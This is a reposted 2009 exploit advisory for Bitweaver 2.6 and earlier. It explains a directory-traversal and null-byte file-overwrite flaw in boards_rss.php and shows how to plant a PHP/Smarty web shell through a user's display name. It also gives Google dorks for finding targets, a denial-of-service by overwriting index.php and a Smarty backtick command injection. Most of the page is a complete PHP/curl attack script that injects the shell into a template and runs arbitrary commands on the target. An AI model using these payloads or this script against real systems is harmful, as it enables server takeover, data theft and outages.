Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21803
HistoryMay 12, 2009 - 12:00 a.m.

Bitweaver <= 2.6 /boards/boards_rss.php / saveFeed() remote code execution exploit

2009-05-1200:00:00
vulners.com
46

<?php
/*
Bitweaver <= 2.6 /boards/boards_rss.php / saveFeed() remote code execution exploit
by Nine:Situations:Group::bookoo

php.ini independent
 
site: http://retrogod.altervista.org/
software site: http://www.bitweaver.org/
 
You need an user account and you need to change your &quot;display name&quot; in:
 
{php}passthru&#40;$_SERVER[HTTP_CMD]&#41;;{/php}
 
Register and click on Preferences, look at the &quot;User Information&quot; tab, inside the
&quot;Real name&quot; text field write the code above, then click on Change.
 
Google dorks:
&quot;by bitweaver&quot; Version  powered +boards
&quot;You are running bitweaver in TEST mode&quot;|&quot;bitweaver * White Screen of Death&quot;
 
Versions tested: 2.6.0, 2.0.2
 
Vulnerability type: folder creation, file creation, file overwrite, PHP code injection.
 
Explaination:
look at /boards/boards_rss.php, line 102:
...
echo $rss-&gt;saveFeed&#40; $rss_version_name, $cacheFile &#41;;
...
 
it calls saveFeed&#40;&#41; function in an insecure way, arguments are built on
$_REQUEST[version] var and may contain directory traversal sequences...
 
now look at saveFeed&#40;&#41; function in /rss/feedcreator.class.php
 
...
function saveFeed&#40;$filename=&quot;&quot;, $displayContents=true&#41; {
if &#40;$filename==&quot;&quot;&#41; {
$filename = $this-&gt;_generateFilename&#40;&#41;;
}
if &#40; !is_dir&#40; dirname&#40; $filename &#41;&#41;&#41; {
mkdir_p&#40; dirname&#40; $filename &#41;&#41;;
}
$feedFile = fopen&#40;$filename, &quot;w+&quot;&#41;;
if &#40;$feedFile&#41; {
fputs&#40;$feedFile,$this-&gt;createFeed&#40;&#41;&#41;;
fclose&#40;$feedFile&#41;;
if &#40;$displayContents&#41; {
$this-&gt;_redirect&#40;$filename&#41;;
}
} else {
echo &quot;&lt;br /&gt;&lt;b&gt;Error creating feed file, please check write permissions.&lt;/b&gt;&lt;br /&gt;&quot;;
}
}
 
}
...
 
regardless of php.ini settings, you can create arbitrary folders, create/overwrite
files, also you can end the path with an arbitrary extension, other than .xml passing
a null char.
ex.
 
http://host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../bookoo.php&#37;00
 
now you have a bookoo.php in main folder:
 
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;!-- generator=&quot;FeedCreator 1.7.2&quot; --&gt;
&lt;?xml-stylesheet href=&quot;http://www.w3.org/2000/08/w3c-synd/style.css&quot; type=&quot;text/css&quot;?&gt;
&lt;rss version=&quot;0.91&quot;&gt;
&lt;channel&gt;
&lt;title&gt; Feed&lt;/title&gt;
&lt;description&gt;&lt;/description&gt;
&lt;link&gt;http://192.168.0.1&lt;/link&gt;
&lt;lastBuildDate&gt;Sat, 09 May 2009 20:01:44 +0100&lt;/lastBuildDate&gt;
&lt;generator&gt;FeedCreator 1.7.2&lt;/generator&gt;
&lt;language&gt;en-us&lt;/language&gt;
&lt;/channel&gt;
&lt;/rss&gt;
 
You could inject php code by the Host header &#40;but this is used to build filenames and
create problems, also most of servers will respond with an http error&#41; inside link tag
or by your &quot;display name&quot; in title tag, ex.:

http://host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../bookoo_ii.php&#37;00&amp;u=bookoo&amp;p=password

and here it is the new file &#40;if your display name is &quot;&lt;?php passthru&#40;$_GET[cmd]; ?&gt;&quot;&#41;:
 
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;!-- generator=&quot;FeedCreator 1.7.2&quot; --&gt;
&lt;?xml-stylesheet href=&quot;http://www.w3.org/2000/08/w3c-synd/style.css&quot; type=&quot;text/css&quot;?&gt;
&lt;rss version=&quot;0.91&quot;&gt;
&lt;channel&gt;
&lt;title&gt; Feed &#40;&lt;?php passthru&#40;$_GET[cmd]; ?&gt;&#41;&#41;&lt;/title&gt;
&lt;description&gt;&lt;/description&gt;
&lt;link&gt;http://192.168.0.1&lt;/link&gt;
&lt;lastBuildDate&gt;Tue, 12 May 2009 00:30:54 +0100&lt;/lastBuildDate&gt;
&lt;generator&gt;FeedCreator 1.7.2&lt;/generator&gt;
&lt;language&gt;en-us&lt;/language&gt;
&lt;/channel&gt;
&lt;/rss&gt;
 
if short_open_tag in php.ini is off &#40;because of &quot;&lt;?xml ...&quot; preamble
generating a parse error with short_open_tag = on&#41;, you can now launch commands:
 
http://host/path_to_bitweaver/bookoo_ii.php?cmd=ls
 
However, to bypass short_open_tag = on you can inject in a template file, ex.:

http://host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../themes/templates/footer_inc.tpl&#37;00&amp;u=bookoo&amp;p=password

Now footer_inc.tpl looks like this:
 
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;!-- generator=&quot;FeedCreator 1.7.2&quot; --&gt;
&lt;?xml-stylesheet href=&quot;http://www.w3.org/2000/08/w3c-synd/style.css&quot; type=&quot;text/css&quot;?&gt;
&lt;rss version=&quot;0.91&quot;&gt;
&lt;channel&gt;
&lt;title&gt; Feed &#40;{php}passthru&#40;$_GET[CMD]&#41;;{/php}&#41;&lt;/title&gt;
&lt;description&gt;&lt;/description&gt;
&lt;link&gt;http://192.168.0.1&lt;/link&gt;
&lt;lastBuildDate&gt;Tue, 12 May 2009 00:43:01 +0100&lt;/lastBuildDate&gt;
&lt;generator&gt;FeedCreator 1.7.2&lt;/generator&gt;
&lt;language&gt;en-us&lt;/language&gt;
&lt;/channel&gt;
&lt;/rss&gt;
 
note that the shellcode is in Smarty template syntax ...
 
Now you can launch commands from the main page:
 
http://host/path_to_bitweaver/index.php?cmd=ls&#37;20-la
 
or
 
http://host/path_to_bitweaver/wiki/index.php?cmd=ls&#37;20-la
 
Additional notes:
 
Without to have an account you can create a denial of service condition, ex. by replacing

the main index.php:

http://host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../index.php&#37;00
 
I found also a bug in Smarty template system, against windows servers you can launch commands
with this:
 
{math equation=&quot;&#96;^C^A^L^C&#96;&quot;}
 
They filtered non-math functions, but they forgot php bacticks operators. This is
the same of launch exec&#40;&#41; !
 
*/
$err[0] = &quot;[!] This script is intended to be launched from the cli!&quot;;
$err[1] = &quot;[!] You need the curl extesion loaded!&quot;;
 
if &#40;php_sapi_name&#40;&#41; &lt;&gt; &quot;cli&quot;&#41; {
    die&#40;$err[0]&#41;;
}
if &#40;!extension_loaded&#40;&#39;curl&#39;&#41;&#41; {
    $win = &#40;strtoupper&#40;substr&#40;PHP_OS, 0, 3&#41;&#41; === &#39;WIN&#39;&#41; ? true :
    false;
    if &#40;$win&#41; {
        !dl&#40;&quot;php_curl.dll&quot;&#41; ? die&#40;$err[1]&#41; :
        nil;
    } else {
        !dl&#40;&quot;php_curl.so&quot;&#41; ? die&#40;$err[1]&#41; :
        nil;
    }
}
 
function syntax&#40;&#41; {
    print &#40;
    &quot;Syntax: php &quot;.$argv[0].&quot; [host] [path] [user] [pass] [cmd] [options]   &#92;n&quot;. &quot;Options:  

\n". "–port:[port] - specify a port \n". "
default->80 \n". "–proxy:[host:port] - use proxy
\n". "Examples: php ".$argv[0]." 192.168.0.1 /bitweaver/ bookoo pass ls \n". "
php ".$argv[0]." 192.168.0.1 / bookoo pass ls -a --proxy:1.1.1.1:8080\n". " php
".$argv[0]." 192.168.0.1 / bookoo pass cat …/kernel/config_inc.php --port:81");
die();
}

error_reporting&#40;E_ALL&#41;;
$host = $argv[1];
$path = $argv[2];
$_usr = $argv[3];
$_pwd = $argv[4];
$_cmd = &quot;&quot;;
for &#40;$i = 5; $i &lt; $argc; $i++&#41; {
    if &#40;&#40;!strstr&#40;$argv[$i], &quot;--proxy:&quot;&#41;&#41; and &#40;!strstr&#40;$argv[$i], &quot;--port:&quot;&#41;&#41;&#41; {
        $_cmd .= &quot; &quot;.$argv[$i];
    }
}
$argv[5] ? print&#40;&quot;[*] Command-&gt;$_cmd&#92;n&quot;&#41; :
 syntax&#40;&#41;;
$_use_proxy = false;
$port = 80;
 
for &#40;$i = 3; $i &lt; $argc; $i++&#41; {
    if &#40;stristr&#40;$argv[$i], &quot;--proxy:&quot;&#41;&#41; {
        $_use_proxy = true;
        $tmp = explode&#40;&quot;:&quot;, $argv[$i]&#41;;
        $proxy_host = $tmp[1];
        $proxy_port = &#40;int&#41;$tmp[2];
    }
    if &#40;stristr&#40;$argv[$i], &quot;--port:&quot;&#41;&#41; {
        $tmp = explode&#40;&quot;:&quot;, $argv[$i]&#41;;
        $port = &#40;int&#41;$tmp[1];
    }
}
 
function _s&#40;$url, $cmd, $is_post, $request&#41; {
    global $_use_proxy, $proxy_host, $proxy_port, $cookie;
    $ch = curl_init&#40;&#41;;
    curl_setopt&#40;$ch, CURLOPT_URL, $url&#41;;
    if &#40;$is_post&#41; {
        curl_setopt&#40;$ch, CURLOPT_POST, 1&#41;;
        curl_setopt&#40;$ch, CURLOPT_POSTFIELDS, $request.&quot;&#92;r&#92;n&quot;&#41;;
    }
    curl_setopt&#40;$ch, CURLOPT_RETURNTRANSFER, 1&#41;;
    curl_setopt&#40;$ch, CURLOPT_USERAGENT, &quot;Googlebot/1.0 &#40;[email protected]

http://googlebot.com/&#41;&quot;&#41;;
curl_setopt($ch, CURLOPT_TIMEOUT, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
$headers = array("Cookie: $cookie", "Cmd: ".$cmd." > ./…/readme");
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    if &#40;$_use_proxy&#41; {
        curl_setopt&#40;$ch, CURLOPT_PROXY, $proxy_host.&quot;:&quot;.$proxy_port&#41;;
    }
    $_d = curl_exec&#40;$ch&#41;;
    if &#40;curl_errno&#40;$ch&#41;&#41; {
        die&#40;&quot;[!] &quot;.curl_error&#40;$ch&#41;.&quot;&#92;n&quot;&#41;;
    } else {
        curl_close&#40;$ch&#41;;
    }
    return $_d;
}
 
$my_template = &quot;themes/templates/footer_inc.tpl&quot;;
$url = &quot;http://$host:$port&quot;.$path.&quot;boards/boards_rss.php&quot;;
$_o = _s&#40;$url, &quot;&quot;, 0, &quot;&quot;&#41;;
if &#40;stristr&#40;$_o, &quot;404 Not Found&quot;&#41;&#41; {
    die &#40;&quot;[!] Vulnerable script not found!&#92;n&quot;&#41;;
}
//catch site cookie, this is needed for version compatibility, not needed in 2.6.0
$_tmp = explode&#40;&quot;Set-Cookie: &quot;, $_o&#41;;
$cookie = &quot;&quot;;
for &#40;$i = 1; $i &lt; count&#40;$_tmp&#41;; $i++&#41; {
    $_tmpii = explode&#40;&quot;;&quot;, $_tmp[$i]&#41;;
     $cookie .= $_tmpii[0].&quot;; &quot;;
}
print&#40;&quot;[*] Cookie-&gt;&quot;.$cookie.&quot;&#92;n&quot;&#41;;
$_o = _s&#40;$url, &quot;&quot;, 1, &quot;version=/&#92;x00&amp;&quot;&#41;;
$_o = _s&#40;$url, &quot;&quot;, 1, &quot;u=$_usr&amp;p=$_pwd&amp;version=/../../../../$my_template&#92;x00&amp;&quot;&#41;;
if &#40;stristr&#40;$_o, &quot;&lt;?xml version=&#92;&quot;1.0&#92;&quot; encoding=&#92;&quot;UTF-8&#92;&quot;?&gt;&quot;&#41;&#41; {
    print &#40;&quot;[*] &#39;$my_template&#39; successfully overwritten!&#92;n&quot;&#41;;
} else {
    print&#40;$_o&#41;;
    die&#40;&quot;[!] Error! No write permission on /&quot;.$my_template.&quot; ...&quot;&#41;;
}
if &#40;stristr&#40;$_o, &quot;{php}passthru&#40;&#92;$_SERVER[HTTP_CMD]&#41;;{/php}&quot;&#41;&#41; {
    print &#40;&quot;[*] Shell injected!&#92;n&quot;&#41;;
} else {
    print&#40;$_o&#41;;
    die&#40;&quot;[!] Error! Shell not injected!&quot;&#41;;
}
$url = &quot;http://$host:$port&quot;.$path.&quot;wiki/index.php&quot;;
$_o = _s&#40;$url, $_cmd, 0, &quot;&quot;&#41;;
$url = &quot;http://$host:$port&quot;.$path.&quot;readme&quot;;
$_o = _s&#40;$url, &quot;&quot;, 0, &quot;&quot;&#41;;
if &#40;stristr&#40;$_o, &quot;404 Not Found&quot;&#41;&#41; {
    die &#40;&quot;[!] stdout file not found!&#92;n&quot;&#41;;
} else {
    print&#40;&quot;[*] Success!&#92;n&quot;.$_o&#41;;
}

?>

#original url: http://retrogod.altervista.org/9sg_bitweaver_260_sh.htm